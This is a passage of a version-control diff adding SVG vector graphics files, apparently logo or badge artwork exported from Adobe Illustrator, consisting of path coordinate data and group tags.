C10.3,53.9,10.2,44.6,10.2,41.1z M20.9,66.2C20,59.4,19.6,53.5,19.4,49c17.5-2.5,33.9-6.7,49-12.5c13.8-5.4,26.4-12.2,36.4-19.7
|
||||
c10,7.5,22.5,14.3,36.4,19.7c15,5.9,31.5,10.1,49,12.5c-0.2,4.4-0.7,10.3-1.5,17.2H20.9z M10.6,69.7h1.8h5.6h1.7h1.7h3.3h2h156h2
|
||||
h3.3h1.7h1.7h5.6h1.8h1.7h1.3l-3.4,12.6l-2.8,10.4l0.3,1.1l5.8,20.4H190h-1.8h-1.8h-5.9h-1.8h-1.8h-3.5h-2.2H38.3h-2.2h-3.5h-1.8
|
||||
h-1.8H23h-1.8h-1.8H5.1l5-20.8l-5-23.6h3.8H10.6z M162.5,157.7c-14.2,17.7-32.1,30.3-53.4,37.5c-0.8,0.3-1.6,0.5-2.4,0.8
|
||||
c-0.7,0.2-1.3,0.4-2,0.6c-1.5-0.4-3-0.9-4.4-1.4C79,188,61,175.4,46.9,157.7c-9.1-11.4-16.7-24.8-22.6-40.2h5.9
|
||||
c5.6,14,12.7,26.4,21.1,36.9c13.5,16.7,30.5,28.7,50.7,35.5c0.7,0.2,1.4,0.5,2.1,0.7l0.5,0.2l0.5-0.2c0.7-0.2,1.4-0.5,2.1-0.7
|
||||
c20.2-6.8,37.2-18.7,50.7-35.5c8.4-10.5,15.5-22.8,21.1-36.9h5.9C179.2,132.9,171.6,146.3,162.5,157.7z M175.4,117.6
|
||||
c-5.4,13.2-12.1,24.8-20,34.7c-13,16.2-29.6,27.8-49.1,34.4c-0.5,0.2-1,0.3-1.5,0.5c-0.5-0.2-1-0.3-1.5-0.5
|
||||
C83.6,180,67.1,168.5,54,152.3c-7.9-9.9-14.7-21.5-20-34.7H175.4z"/>
|
||||
<path fill="#2B292A" d="M15.5,95.3c0.1,0,0.2,0,0.2,0c0.5,0,1-0.2,1.4-0.5c0.5-0.4,0.7-1,0.7-1.6c0-1-0.7-1.9-1.6-2.1
|
||||
c-0.2,0-0.3-0.1-0.5-0.1c-0.4,0-0.8,0.1-1.2,0.4c-0.6,0.4-1,1-1,1.8C13.6,94.3,14.4,95.2,15.5,95.3z"/>
|
||||
<path fill="#2B292A" d="M186.4,95.1c0.3,0.2,0.7,0.3,1,0.3c1.2,0,2.2-1,2.2-2.2s-1-2.2-2.2-2.2c0,0,0,0,0,0c-1.2,0-2.1,1-2.1,2.2
|
||||
C185.3,94,185.8,94.7,186.4,95.1z"/>
|
||||
<path fill="#2B292A" d="M69.7,133.2c0.6,3.5,1.9,14.9,10.7,15.2c0,0,8,0.3,9.7,0c1.7-0.3,7.8-1.7,10.1-11c0,0,0.5-2.1,1.6-3.8
|
||||
c1.4-2.1,4.6-2.1,6,0c1.1,1.7,1.6,3.8,1.6,3.8c2.3,9.3,8.4,10.7,10.1,11c1.7,0.3,9.7,0,9.7,0c8.8-0.2,10.1-11.7,10.7-15.2
|
||||
c0.6-3.5,3.2-2.7,3.2-2.7v-6.3c-21.6-3.6-32,1-33.6,2c-0.4,0.3-0.9,0.5-1.5,0.6c-2.1,0.6-4.3,0.6-6.3,0c-0.6-0.2-1.1-0.4-1.5-0.6
|
||||
c-1.6-1.1-12-5.7-33.6-2v6.3C66.5,130.5,69.1,129.7,69.7,133.2z M114.1,127.6c3.8-1.2,7.9-1.7,12.6-1.7c0.3,0,0.7,0,1,0
|
||||
c3.9,0.1,6.6,1.1,8,3.2c1.1,1.6,1.2,3.5,1,4.8c-0.1,1.5-0.5,2.6-0.5,2.6l0,0l0,0c-0.4,1.8-0.9,3.3-1.5,4.6
|
||||
c-0.9,1.9-2.4,4.1-5.6,4.2l0,0c0,0-3.5,0.1-6.3,0.1c-2.2,0-2.7-0.1-2.7-0.1c-3.5-0.7-5.9-3.2-7.9-8.6c-0.5-1.4-0.8-3.2-0.9-5.2
|
||||
C111.2,129.7,112.4,128.1,114.1,127.6z M73.8,129c1.4-2,4.1-3.1,8-3.2c0.3,0,0.7,0,1,0c4.7,0,8.8,0.6,12.6,1.7
|
||||
c1.7,0.5,2.9,2.1,2.8,3.9c0,2.1-0.3,3.8-0.9,5.2c-2.1,5.4-4.4,8-7.9,8.6c0,0-0.5,0.1-2.7,0.1c-2.8,0-6.3-0.1-6.3-0.1l0,0
|
||||
c-3.2-0.1-4.6-2.3-5.6-4.2c-0.6-1.3-1.1-2.8-1.5-4.6l0,0l0,0c0,0-0.4-1.1-0.5-2.6C72.7,132.5,72.8,130.6,73.8,129z"/>
|
||||
<path fill="#2B292A" d="M115.1,151.8c-3.8-3-7.6-2.2-9.9-1.2c-2.3-1-6.1-1.8-9.9,1.2c-6,4.7-12.4,2.2-12.5-0.6
|
||||
c0,0-4.3,16.6,12.5,15.1c7.1-0.6,8.5-2.3,9.9-3.5c1.4,1.2,2.8,2.9,9.9,3.5c16.8,1.5,12.5-15.1,12.5-15.1
|
||||
C127.4,154,121,156.5,115.1,151.8z"/>
|
||||
<polygon fill="#2B292A" points="106.5,38.5 104.1,33.6 101.7,38.5 96.3,39.2 100.2,43.1 99.3,48.4 104.1,45.9 109,48.4 108,43.1
|
||||
111.9,39.2 "/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 16 KiB |
@@ -0,0 +1,243 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 184.4 183.6" enable-background="new 0 0 184.4 183.6" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-542" y="-64.5" display="inline" fill="#FFFFFF" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<path fill="#2B292A" d="M10.4,97.5l-1.8,0.9c0.4,0.8,0.9,1.6,1.5,2.3c0.2,0.2,0.3,0.4,0.5,0.7l1.6-1.2c-0.2-0.2-0.4-0.5-0.5-0.7
|
||||
C11.2,98.8,10.8,98.2,10.4,97.5z"/>
|
||||
<path fill="#2B292A" d="M14.2,103.2l-1.7,1c0.6,1,1.1,2,1.5,3l1.8-0.8C15.3,105.2,14.8,104.2,14.2,103.2z"/>
|
||||
<path fill="#2B292A" d="M17.1,109.6l-1.9,0.6c0.4,1.1,0.7,2.1,0.9,3.2l2-0.4C17.8,111.9,17.5,110.7,17.1,109.6z"/>
|
||||
<path fill="#2B292A" d="M17.4,73l-1.9-0.6c-0.3,1.1-0.7,2.1-1.1,3.1l1.9,0.8C16.7,75.2,17.1,74.1,17.4,73z"/>
|
||||
<path fill="#2B292A" d="M10.9,85.3l-1.7-1c-0.6,1.1-1.1,2.2-1.5,3.4l1.9,0.6C9.9,87.2,10.3,86.2,10.9,85.3z"/>
|
||||
<path fill="#2B292A" d="M14.7,79.5l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.7,1.1C13.5,81.5,14.1,80.5,14.7,79.5z"/>
|
||||
<path fill="#2B292A" d="M7.4,94.9l2-0.4c-0.2-0.9-0.3-1.8-0.3-2.7c0-0.2,0-0.3,0-0.5l-2-0.1c0,0.2,0,0.3,0,0.5
|
||||
C7.1,92.8,7.2,93.9,7.4,94.9z"/>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M34.7,101c-1.1,0-2.1-0.1-3-0.4c-0.9-0.3-1.6-0.7-2.1-1.2s-1-1.1-1.4-1.9s-0.6-1.5-0.7-2.4
|
||||
c-0.1-0.8-0.2-1.8-0.2-2.9v-9c0-1.1,0.1-2.1,0.2-3c0.1-0.9,0.4-1.7,0.7-2.4c0.3-0.7,0.8-1.4,1.4-1.8c0.6-0.5,1.3-0.9,2.1-1.1
|
||||
c0.8-0.3,1.8-0.4,3-0.4c1.3,0,2.4,0.2,3.3,0.5c0.9,0.3,1.6,0.8,2.2,1.5c0.5,0.7,0.9,1.4,1.2,2.3c0.2,0.9,0.4,1.9,0.4,3.1v2.2
|
||||
h-4.6v-2.2c0-1.3-0.1-2.2-0.2-2.6c-0.3-0.9-0.9-1.3-2-1.4c-0.1,0-0.2,0-0.3,0c-0.4,0-0.7,0-1,0.1c-0.3,0.1-0.5,0.2-0.7,0.4
|
||||
c-0.2,0.2-0.3,0.4-0.5,0.6c-0.1,0.2-0.2,0.5-0.3,0.9c-0.1,0.4-0.1,0.7-0.1,1c0,0.3,0,0.7,0,1.2v11c0,1.5,0.2,2.6,0.6,3.3
|
||||
c0.4,0.6,1.1,1,2,1c0.3,0,0.6,0,0.9-0.1c0.3-0.1,0.5-0.2,0.6-0.3c0.2-0.1,0.3-0.3,0.4-0.5c0.1-0.2,0.2-0.4,0.3-0.6
|
||||
s0.1-0.5,0.1-0.8c0-0.3,0-0.6,0.1-0.9c0-0.2,0-0.6,0-1v-2.3h4.6V93c0,1-0.1,1.8-0.2,2.6s-0.4,1.5-0.7,2.2
|
||||
c-0.3,0.7-0.8,1.2-1.3,1.7s-1.2,0.8-2,1.1C36.7,100.8,35.8,101,34.7,101z"/>
|
||||
<path fill="#2B292A" d="M45,100.6V74.7h5.9c1.4,0,2.5,0.1,3.5,0.3c1,0.2,1.8,0.6,2.6,1.1s1.3,1.2,1.6,2.1c0.4,0.9,0.5,2,0.5,3.3
|
||||
c0,1.6-0.2,3-0.7,4c-0.5,1-1.3,1.8-2.4,2.3l3.6,12.8h-4.7l-3.1-11.8h-2.1v11.8H45z M49.7,85.8h1.1c1.4,0,2.4-0.3,3-0.9
|
||||
s0.9-1.6,0.9-3c0-1.4-0.3-2.4-0.8-3c-0.5-0.6-1.4-0.9-2.8-0.9h-1.4V85.8z"/>
|
||||
<path fill="#2B292A" d="M62.7,100.6V74.7h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H62.7z"/>
|
||||
<path fill="#2B292A" d="M75,100.6l5.3-25.9h4.9l5.3,25.9h-4.4l-1-6h-4.5l-1.1,6H75z M81.1,91.5h3.5l-1.7-10.6L81.1,91.5z"/>
|
||||
<path fill="#2B292A" d="M94.7,100.6V78.2h-4.3v-3.5h13.3v3.5h-4.2v22.4H94.7z"/>
|
||||
<path fill="#2B292A" d="M105.8,100.6V74.7h4.7v25.9H105.8z"/>
|
||||
<path fill="#2B292A" d="M118.5,100.6l-5.3-25.9h4.2l3.4,18l3.2-18h4.3l-5.3,25.9H118.5z"/>
|
||||
<path fill="#2B292A" d="M131,100.6V74.7h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H131z"/>
|
||||
<path fill="#2B292A" d="M151.2,101c-4.6,0-7-2.6-7.2-7.9l4.1-0.9c0.1,3.4,1.1,5.1,2.9,5.1c0.7,0,1.3-0.2,1.6-0.7
|
||||
c0.3-0.4,0.5-1,0.5-1.8c0-0.7-0.1-1.4-0.4-2c-0.3-0.6-0.6-1.1-0.9-1.5c-0.3-0.4-0.8-0.9-1.5-1.4l-3.4-3c-1-0.9-1.7-1.8-2.2-2.7
|
||||
c-0.5-0.9-0.7-2.1-0.7-3.5c0-2,0.6-3.6,1.8-4.7c1.2-1.1,2.8-1.7,4.9-1.7c0.9,0,1.8,0.1,2.5,0.4c0.7,0.2,1.3,0.6,1.8,1
|
||||
c0.5,0.4,0.9,0.9,1.2,1.5s0.6,1.3,0.7,1.9s0.3,1.4,0.3,2.2l-4,0.8c0-0.5-0.1-1-0.1-1.4c0-0.4-0.1-0.8-0.2-1.2
|
||||
c-0.1-0.4-0.3-0.7-0.4-1s-0.4-0.4-0.7-0.6s-0.7-0.2-1.1-0.2c-0.7,0-1.2,0.3-1.6,0.7c-0.4,0.4-0.6,1-0.6,1.7
|
||||
c0,0.8,0.2,1.5,0.5,2.1c0.3,0.5,0.8,1.1,1.5,1.7l3.4,2.9c0.6,0.5,1.1,1,1.5,1.5s0.8,1,1.2,1.6c0.4,0.6,0.7,1.3,0.9,2
|
||||
s0.3,1.5,0.3,2.3c0,1.9-0.6,3.4-1.8,4.6C154.7,100.4,153.1,101,151.2,101z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M54.7,131.2v-22.2h5.2c1.3,0,2.5,0.1,3.4,0.4c0.9,0.3,1.6,0.7,2.2,1.3c0.5,0.6,0.9,1.3,1.2,2.1
|
||||
c0.2,0.8,0.3,1.9,0.3,3.1v8c0,1.3-0.1,2.3-0.3,3.2s-0.6,1.6-1.1,2.3c-0.5,0.6-1.2,1.1-2.1,1.4c-0.9,0.3-2,0.4-3.3,0.4H54.7z
|
||||
M58.7,128.3h1.2c0.4,0,0.8,0,1.1-0.1c0.3-0.1,0.6-0.2,0.8-0.3c0.2-0.1,0.4-0.3,0.5-0.5s0.2-0.4,0.3-0.6
|
||||
c0.1-0.2,0.1-0.5,0.2-0.9c0-0.4,0.1-0.7,0.1-1c0-0.3,0-0.7,0-1.2v-8.1c0-0.5,0-1,0-1.3c0-0.3-0.1-0.6-0.1-1
|
||||
c-0.1-0.3-0.2-0.6-0.3-0.8c-0.1-0.2-0.3-0.3-0.5-0.5c-0.2-0.1-0.5-0.3-0.8-0.3c-0.3-0.1-0.7-0.1-1.2-0.1h-1.1V128.3z"/>
|
||||
<path fill="#2B292A" d="M69.9,131.2v-22.2h9.3v2.9h-5.3v6.4h4.2v2.9h-4.2v7.3h5.3v2.8H69.9z"/>
|
||||
<path fill="#2B292A" d="M87.2,131.4c-3.9,0-6-2.3-6.2-6.8l3.5-0.7c0.1,2.9,0.9,4.4,2.5,4.4c0.6,0,1.1-0.2,1.4-0.6
|
||||
c0.3-0.4,0.4-0.9,0.4-1.5c0-0.6-0.1-1.2-0.3-1.7c-0.2-0.5-0.5-0.9-0.8-1.3s-0.7-0.7-1.3-1.2l-2.9-2.5c-0.9-0.8-1.5-1.5-1.9-2.3
|
||||
c-0.4-0.8-0.6-1.8-0.6-3c0-1.7,0.5-3.1,1.5-4c1-1,2.4-1.4,4.2-1.5c0.8,0,1.5,0.1,2.2,0.3c0.6,0.2,1.1,0.5,1.5,0.8
|
||||
c0.4,0.4,0.7,0.8,1,1.3c0.3,0.5,0.5,1.1,0.6,1.6c0.1,0.6,0.2,1.2,0.3,1.9l-3.5,0.7c0-0.4,0-0.8-0.1-1.2s-0.1-0.7-0.2-1
|
||||
c-0.1-0.3-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.4-0.6-0.5c-0.3-0.1-0.6-0.2-0.9-0.1c-0.6,0-1.1,0.2-1.4,0.6s-0.5,0.8-0.5,1.5
|
||||
c0,0.7,0.1,1.3,0.4,1.8c0.3,0.5,0.7,1,1.3,1.5l2.9,2.5c0.5,0.4,0.9,0.9,1.3,1.3c0.4,0.4,0.7,0.9,1,1.4c0.3,0.5,0.6,1.1,0.7,1.7
|
||||
s0.3,1.3,0.3,2c0,1.6-0.5,2.9-1.5,3.9C90.2,130.9,88.9,131.4,87.2,131.4z"/>
|
||||
<path fill="#2B292A" d="M95.3,131.2v-22.2h4v22.2H95.3z"/>
|
||||
<path fill="#2B292A" d="M108.3,131.5c-2.1,0-3.6-0.7-4.5-2s-1.4-3.2-1.4-5.7v-7.2c0-1.3,0.1-2.4,0.3-3.3c0.2-0.9,0.5-1.7,1-2.4
|
||||
c0.5-0.7,1.1-1.2,2-1.6c0.8-0.3,1.9-0.5,3.1-0.5c2.2,0,3.8,0.5,4.7,1.6c1,1.1,1.4,2.7,1.4,4.9v1.1H111v-1.2c0-0.5,0-0.9,0-1.2
|
||||
c0-0.3-0.1-0.6-0.2-0.9c-0.1-0.3-0.2-0.6-0.4-0.7s-0.4-0.3-0.7-0.4c-0.3-0.1-0.6-0.2-1-0.2c-0.3,0-0.6,0-0.8,0.1
|
||||
c-0.2,0.1-0.4,0.2-0.6,0.3c-0.2,0.1-0.3,0.3-0.4,0.5c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.4-0.1,0.7c0,0.3-0.1,0.6-0.1,0.8
|
||||
c0,0.2,0,0.5,0,0.9v9c0,1.3,0.2,2.3,0.5,2.9c0.3,0.6,1,0.9,1.9,0.9c0.5,0,0.9-0.1,1.2-0.3c0.3-0.2,0.6-0.5,0.8-0.8
|
||||
s0.3-0.8,0.4-1.3s0.1-1.1,0.1-1.7v-1.8h-2.4v-2.6h6.1v11.3h-2.6l-0.3-2.3C111.4,130.6,110.1,131.5,108.3,131.5z"/>
|
||||
<path fill="#2B292A" d="M118,131.2v-22.2h2.8l5.4,12.6v-12.6h3.4v22.2H127l-5.5-13.2v13.2H118z"/>
|
||||
</g>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M53.5,42.2v1.2h-4.3v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.8v-7.9H53.5z"/>
|
||||
<path fill="#2B292A" d="M57.8,43.4c-0.8,0-1.3,0.3-1.3,0.8c0,1.7,4.3,0.8,4.3,3.7c0,1.4-1.2,2.3-3,2.3c-1.2,0-2.4-0.5-3.2-1.3
|
||||
l0.6-1.2c0.8,0.7,1.8,1.2,2.7,1.2c0.9,0,1.5-0.4,1.5-1c0-1.8-4.3-0.8-4.3-3.6c0-1.4,1.2-2.2,2.9-2.2c1,0,2,0.3,2.8,0.8
|
||||
l-0.6,1.2C59.3,43.6,58.4,43.4,57.8,43.4z"/>
|
||||
<path fill="#2B292A" d="M67.8,42.2v1.2h-2.5v6.7h-1.3v-6.7h-2.5v-1.2H67.8z"/>
|
||||
<path fill="#2B292A" d="M69.2,49.5c0,0.4-0.3,0.8-0.7,0.8c-0.4,0-0.7-0.3-0.7-0.8c0-0.4,0.3-0.7,0.7-0.7
|
||||
C68.9,48.7,69.2,49.1,69.2,49.5z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M113.8,42.2v7.9h-1.3v-6.7h-1.7v-1.2H113.8z"/>
|
||||
<path fill="#2B292A" d="M119.5,49.1c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
|
||||
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
|
||||
C118.2,48.9,118.9,49.1,119.5,49.1z M118.2,44.8c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
|
||||
C118.9,43.3,118.2,43.9,118.2,44.8z"/>
|
||||
<path fill="#2B292A" d="M126.4,49.1c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
|
||||
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
|
||||
C125.2,48.9,125.8,49.1,126.4,49.1z M125.2,44.8c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
|
||||
C125.8,43.3,125.2,43.9,125.2,44.8z"/>
|
||||
<path fill="#2B292A" d="M137.1,42.2v1l-3.3,6.9h-1.4l3.3-6.7h-3.4l0,1.1H131v-2.3H137.1z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M57.5,146h1.2v3c-0.8,0.6-2,1-3.1,1c-2.4,0-4.2-1.8-4.2-4.1s1.9-4.1,4.3-4.1c1.2,0,2.3,0.4,3.1,1.1
|
||||
l-0.8,1c-0.6-0.6-1.5-0.9-2.3-0.9c-1.6,0-2.9,1.3-2.9,2.9c0,1.6,1.3,2.9,3,2.9c0.6,0,1.3-0.2,1.9-0.6V146z"/>
|
||||
<path fill="#2B292A" d="M64,148.8c1.3,0,2.1-0.8,2.1-2.2v-4.7h1.4v4.7c0,2.1-1.3,3.4-3.5,3.4c-2.2,0-3.5-1.3-3.5-3.4v-4.7h1.4
|
||||
v4.7C61.8,148,62.7,148.8,64,148.8z"/>
|
||||
<path fill="#2B292A" d="M74.4,148.1h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L74.4,148.1z M73.9,146.9l-1.5-3.6l-1.5,3.6
|
||||
H73.9z"/>
|
||||
<path fill="#2B292A" d="M82.8,150l-1.5-2.4c-0.1,0-0.2,0-0.4,0h-1.9v2.4h-1.4v-8.1H81c2.1,0,3.3,1,3.3,2.8
|
||||
c0,1.3-0.6,2.2-1.7,2.6l1.8,2.7H82.8z M81,146.3c1.2,0,2-0.5,2-1.6c0-1.1-0.7-1.6-2-1.6h-1.9v3.2H81z"/>
|
||||
<path fill="#2B292A" d="M91.3,148.1h-4.1l-0.8,1.8H85l3.6-8.1H90l3.5,8.1H92L91.3,148.1z M90.7,146.9l-1.5-3.6l-1.5,3.6H90.7z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M95.9,141.9l4.3,5.8v-5.8h1.3v8.1h-1.3l-4.3-5.8v5.8h-1.4v-8.1H95.9z"/>
|
||||
<path fill="#2B292A" d="M109.2,141.9v1.2h-2.6v6.9h-1.4v-6.9h-2.5v-1.2H109.2z"/>
|
||||
<path fill="#2B292A" d="M116.1,141.9v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H116.1z"/>
|
||||
<path fill="#2B292A" d="M123.7,141.9v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H123.7z"/>
|
||||
<path fill="#2B292A" d="M133,145.9c0,2.3-1.8,4-4.2,4h-3.3v-8.1h3.3C131.2,141.9,133,143.6,133,145.9z M131.6,145.9
|
||||
c0-1.6-1.2-2.8-2.8-2.8h-1.9v5.6h2C130.4,148.7,131.6,147.6,131.6,145.9z"/>
|
||||
</g>
|
||||
<path fill="#2B292A" d="M10.3,124.1c-0.6,4.7,0.3,9.3,2.6,13.4c2.4,4.1,5.9,7.2,10.3,9c6.4,2.6,11.6,7.8,14.3,14.3
|
||||
c1.8,4.4,4.9,7.9,9,10.3c4.1,2.4,8.7,3.3,13.4,2.6c6.9-1,14,0.9,19.5,5.2c3.7,2.9,8.2,4.4,12.9,4.4c4.7,0,9.2-1.5,12.9-4.4
|
||||
c5.5-4.3,12.6-6.2,19.5-5.2c4.7,0.6,9.3-0.3,13.4-2.6c4.1-2.4,7.2-5.9,9-10.3c2.6-6.4,7.8-11.6,14.3-14.3c4.4-1.8,7.9-4.9,10.3-9
|
||||
c2.4-4.1,3.3-8.7,2.6-13.4c-1-6.9,0.9-14,5.2-19.5c2.9-3.7,4.4-8.2,4.4-12.9s-1.5-9.2-4.4-12.9c-4.3-5.5-6.2-12.6-5.2-19.5
|
||||
c0.6-4.7-0.3-9.3-2.6-13.4c-2.4-4.1-5.9-7.2-10.3-9c-6.4-2.6-11.6-7.8-14.3-14.3c-1.8-4.4-4.9-7.9-9-10.3
|
||||
c-4.1-2.4-8.7-3.3-13.4-2.6c-6.9,1-14-0.9-19.5-5.2c-3.7-2.9-8.2-4.4-12.9-4.4c-4.7,0-9.2,1.5-12.9,4.4
|
||||
c-5.5,4.3-12.6,6.2-19.5,5.2c-4.7-0.6-9.3,0.3-13.4,2.6c-4.1,2.4-7.2,5.9-9,10.3c-2.6,6.4-7.8,11.6-14.3,14.3
|
||||
c-4.4,1.8-7.9,4.9-10.3,9c-2.4,4.1-3.3,8.7-2.6,13.4c1,6.9-0.9,14-5.2,19.5C2.1,82.6,0.6,87,0.6,91.8s1.5,9.2,4.4,12.9
|
||||
C9.3,110.2,11.2,117.3,10.3,124.1z M13.7,58.9c-0.5-3.9,0.2-7.8,2.2-11.2c2-3.4,4.9-6,8.6-7.5c7.3-3,13.2-8.9,16.2-16.2
|
||||
c1.5-3.6,4.1-6.6,7.5-8.6c3.4-2,7.3-2.7,11.2-2.2c7.8,1.1,15.8-1.1,22.1-5.9c3.1-2.4,6.8-3.7,10.8-3.7s7.7,1.3,10.8,3.7
|
||||
c6.2,4.8,14.3,7,22.1,5.9c3.9-0.5,7.8,0.2,11.2,2.2c3.4,2,6,4.9,7.5,8.6c3,7.3,8.9,13.2,16.2,16.2c3.6,1.5,6.6,4.1,8.6,7.5
|
||||
s2.7,7.3,2.2,11.2c-1.1,7.8,1.1,15.8,5.9,22.1c2.4,3.1,3.7,6.8,3.7,10.8c0,3.9-1.3,7.7-3.7,10.8c-4.8,6.2-7,14.3-5.9,22.1
|
||||
c0.5,3.9-0.2,7.8-2.2,11.2c-2,3.4-4.9,6-8.6,7.5c-7.3,3-13.2,8.9-16.2,16.2c-1.5,3.6-4.1,6.6-7.5,8.6c-3.4,2-7.3,2.7-11.2,2.2
|
||||
c-7.8-1.1-15.8,1.1-22.1,5.9c-3.1,2.4-6.8,3.7-10.8,3.7s-7.7-1.3-10.8-3.7c-5.2-4-11.6-6.2-18.1-6.2c-1.3,0-2.7,0.1-4,0.3
|
||||
c-3.9,0.5-7.8-0.2-11.2-2.2c-3.4-2-6-4.9-7.5-8.6c-3-7.3-8.9-13.2-16.2-16.2c-3.6-1.5-6.6-4.1-8.6-7.5c-2-3.4-2.7-7.3-2.2-11.2
|
||||
c1.1-7.8-1.1-15.8-5.9-22.1c-2.4-3.1-3.7-6.8-3.7-10.8c0-3.9,1.3-7.7,3.7-10.8C12.6,74.8,14.8,66.7,13.7,58.9z"/>
|
||||
<path fill="#2B292A" d="M118.9,165l0.1,2c1.1-0.1,2.2-0.1,3.3,0l0.1-2C121.3,164.9,120.1,165,118.9,165z"/>
|
||||
<path fill="#2B292A" d="M125.7,18.2c1-0.1,2-0.2,3-0.1l0.2-2c-1.1-0.1-2.3-0.1-3.5,0.1l-0.2,0l0.3,2L125.7,18.2z"/>
|
||||
<path fill="#2B292A" d="M18.9,120c0-1.2-0.1-2.4-0.2-3.5l-2,0.2c0.1,1.1,0.2,2.2,0.2,3.3L18.9,120z"/>
|
||||
<path fill="#2B292A" d="M147.7,35.5c-0.8-0.8-1.5-1.6-2.2-2.5l-1.6,1.2c0.7,0.9,1.5,1.8,2.3,2.7L147.7,35.5z"/>
|
||||
<path fill="#2B292A" d="M126,165.3l-0.2,2c0.6,0.1,1.1,0.1,1.7,0.1c0.7,0,1.3,0,2-0.1l-0.3-2C128.1,165.4,127,165.4,126,165.3z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M141.9,31.4l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C140.6,29.4,141.2,30.4,141.9,31.4z"/>
|
||||
<path fill="#2B292A" d="M140.5,24.3c-0.5-1.1-1.2-2.2-2-3.1l-1.5,1.3c0.7,0.8,1.3,1.7,1.7,2.7L140.5,24.3z"/>
|
||||
<path fill="#2B292A" d="M18.6,125.3c0.1-0.6,0.1-1.1,0.2-1.7l-2-0.2c0,0.5-0.1,1.1-0.2,1.6c-0.1,0.6-0.1,1.3-0.1,1.9l2,0
|
||||
C18.5,126.4,18.6,125.8,18.6,125.3z"/>
|
||||
<path fill="#2B292A" d="M133.7,163.7c-0.5,0.3-1,0.5-1.5,0.7l0.8,1.9c0.6-0.2,1.2-0.5,1.7-0.8c0.5-0.3,1-0.6,1.5-1l-1.2-1.6
|
||||
C134.6,163.2,134.1,163.5,133.7,163.7z"/>
|
||||
<path fill="#2B292A" d="M134.6,20.4l1.1-1.7c-0.3-0.2-0.7-0.4-1-0.7c-0.7-0.4-1.5-0.8-2.2-1.1l-0.7,1.9c0.7,0.2,1.3,0.6,1.9,0.9
|
||||
C134,20,134.3,20.2,134.6,20.4z"/>
|
||||
<path fill="#2B292A" d="M43,153l-1.7,1c0.6,1,1.1,1.9,1.6,3l1.8-0.8C44.1,155.1,43.6,154,43,153z"/>
|
||||
<path fill="#2B292A" d="M37.3,148.7c0.8,0.8,1.5,1.7,2.1,2.6L41,150c-0.7-0.9-1.5-1.9-2.3-2.7L37.3,148.7z"/>
|
||||
<path fill="#2B292A" d="M16.9,130.6c0.3,1.2,0.8,2.3,1.4,3.4l1.8-1c-0.5-0.9-0.9-1.9-1.2-3L16.9,130.6z"/>
|
||||
<path fill="#2B292A" d="M76.4,169.7c1,0.4,2,0.9,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L76.4,169.7z"/>
|
||||
<path fill="#2B292A" d="M83.3,171.4l-1.2,1.6c0.4,0.3,0.7,0.5,1.1,0.8c0.6,0.5,1.2,0.9,1.9,1.2l1-1.8c-0.6-0.3-1.1-0.7-1.6-1.1
|
||||
C84.1,171.9,83.7,171.6,83.3,171.4z"/>
|
||||
<path fill="#2B292A" d="M44.3,160.2c0.6,1.1,1.4,2.1,2.2,2.9l1.4-1.4c-0.7-0.8-1.4-1.6-1.9-2.5L44.3,160.2z"/>
|
||||
<path fill="#2B292A" d="M16.7,59.2c0.1,1.1,0.2,2.2,0.2,3.3l2,0c0-1.2-0.1-2.4-0.2-3.5L16.7,59.2z"/>
|
||||
